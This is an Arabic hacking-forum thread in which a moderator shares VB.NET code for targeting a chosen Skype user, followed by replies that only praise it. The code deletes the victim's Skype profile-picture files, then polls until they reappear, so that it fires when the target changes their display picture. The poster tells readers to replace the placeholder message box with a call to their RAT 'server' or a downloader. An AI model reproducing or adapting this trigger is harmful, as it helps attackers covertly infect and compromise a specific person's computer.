حالة الموضوع:
مغلق
  1. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    [​IMG]



    السلام عليكم ورحمة الله وبركاته


    كود لــ استهداف شخص معين من خلال السكايب


    الشرط : عندما الضحيه يقوم بتغير صورة العرض في السكايب يتم تشغيل السيرفر


    نقوم بأنشاء مشروع جديد بلغة الدوت نت
    ثم ندخل على الفورم Form1 ونمسح كل الي بداخله
    ونلصق هاذا الكود

    كود:
    Public Class Form1
        Dim PC As String
        Dim sky As String = "microsoft-encryption" 'اسم حساب الشخص المستهدف microsoft-encryption اذا الحساب سكاي استخدم هاذا المتغير مع العم ان 
        'Dim skylive As String = "live#3a" + "q777"  اسم حساب الشخص المستهدفq777 استخدم هاذا المتغير مع العلم ان  live  اذا الحساب 
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            '###################################################
            Call Ret()
            '###################################################
    
    
        End Sub
    #Region "S C R E A M"
        Sub Ret()
            '###################################################
            On Error Resume Next
            PC = System.Environment.UserName
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\لقطة لي 1.png") ' عربي 
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\Photo de moi 1.png") ' فرنسي
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\我的快照 1.png") ' صيني
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\Picture of me 1.png") ' انجليزي
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\תמונה שלי 1.png") 'عبري
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\내 사진 1.png") 'كوري
            Timer1.Enabled = True
            '###################################################
        End Sub
    #End Region
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            '###################################################
            PC = System.Environment.UserName
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\لقطة لي 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\Photo de moi 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\我的快照 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\Picture of me 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\תמונה שלי 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\내 사진 1.png") = True Then Text = 1
            '###################################################
    
    
            '###################################################
            If Text = "1" Then
                Timer1.Enabled = False
                MessageBox.Show("استدعاء سيرفر")
                Text = 0
                Call Ret()
            End If
            '###################################################
    
    
        End Sub
    End Class
    
    
    





    المتغير sky هو خاص بحسابات السكايب فقط ضع اسم حساب السكايب الذي تريد استهدافه
    المتغير
    skylive هو خاص ب استهداف حسابات الهوتميل الذي تفتح من خلال سكايب




    يظهر معنا خطأ لعدم تؤفر اداة التايمر ضيف واحد تايمر وبدل المسج استبدله بـ استدعاء بسيرفرك او داونلودر او الي تريده






    الشرط يعمل بعد تغير الصوره
    [​IMG]
     
    3 شخص معجب بهذا.
  2. Reco_X

    Reco_X Developer

    الأنتساب:
    ‏16 مايو 2015
    المشاركات:
    4
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    مشكور على الطرح الرائع
    يعطيك العافية
    تحياتي
     
  3. JORDAN 8

    JORDAN 8 DeveloPer Plus

    الأنتساب:
    ‏16 يوليو 2013
    المشاركات:
    133
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    بارك الله فيك علي مجهودك ~ :{1}:
     
  4. Dr.NaRouTo

    Dr.NaRouTo Developer

    الأنتساب:
    ‏19 يناير 2012
    المشاركات:
    63
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    الإقامة:
    ~المغربــ الكبــير~
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    تســـلم ايــدك يا بـطـل {1!$6}​
     
  5. جوني العراقي

    جوني العراقي V • I • P

    الأنتساب:
    ‏10 يناير 2014
    المشاركات:
    277
    الإعجابات المتلقاة:
    50
    نقاط الجائزة:
    28
    الوظيفة:
    حلاق
    الإقامة:
    NEDRLALND
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    وعليكم سلام ورحمة الله وبركاتة
    شو هاد صديقي مبدع بل تلغيمات
     
  6. جوني العراقي

    جوني العراقي V • I • P

    الأنتساب:
    ‏10 يناير 2014
    المشاركات:
    277
    الإعجابات المتلقاة:
    50
    نقاط الجائزة:
    28
    الوظيفة:
    حلاق
    الإقامة:
    NEDRLALND
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    يجب أن تضع للبعض سمعات قبل إعطائها إلى ♕| s c я є α м |♕ مرة أخرى.
    لاكن يوشم بل خماسي
     
  7. علي الواسطي

    علي الواسطي DeveloPer Plus

    الأنتساب:
    ‏13 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    18
    الوظيفة:
    طالب
    الإقامة:
    iraq
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    تسلم و عاشت ايدك
     
  8. المعاقب الصدري

    المعاقب الصدري V • I • P

    الأنتساب:
    ‏20 يوليو 2014
    المشاركات:
    924
    الإعجابات المتلقاة:
    681
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    وحش التلغيم بلا منازع سكريم مبدع
     
  9. !•¢-Άss£R-ΆℓrOoOԊ•¢-!

    !•¢-Άss£R-ΆℓrOoOԊ•¢-! اعرض من مثلث برمودة DeveloPer Plus موقوف لمخالفة الشروط

    الأنتساب:
    ‏16 يناير 2015
    المشاركات:
    430
    الإعجابات المتلقاة:
    16
    نقاط الجائزة:
    18
    الجنس:
    أنثى
    الإقامة:
    مدينه الصدر
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    وعليكم السلام

    بارك الله فيك شريك


    تلغيمه لامثيل لها


    استمر في ابداعك


    تحياتي لك ي طيب
     
  10. حازم مشكله

    حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    380
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    18
    الجنس:
    ذكر
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب


    !☠☣عاشت ايدك صديقي ☣☠!

    !☠☣تنسيق ولا اروع وموضوع مميز ومفيد جدا ☣☠!




    !☠☣تفقل مروري ☣☠!
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة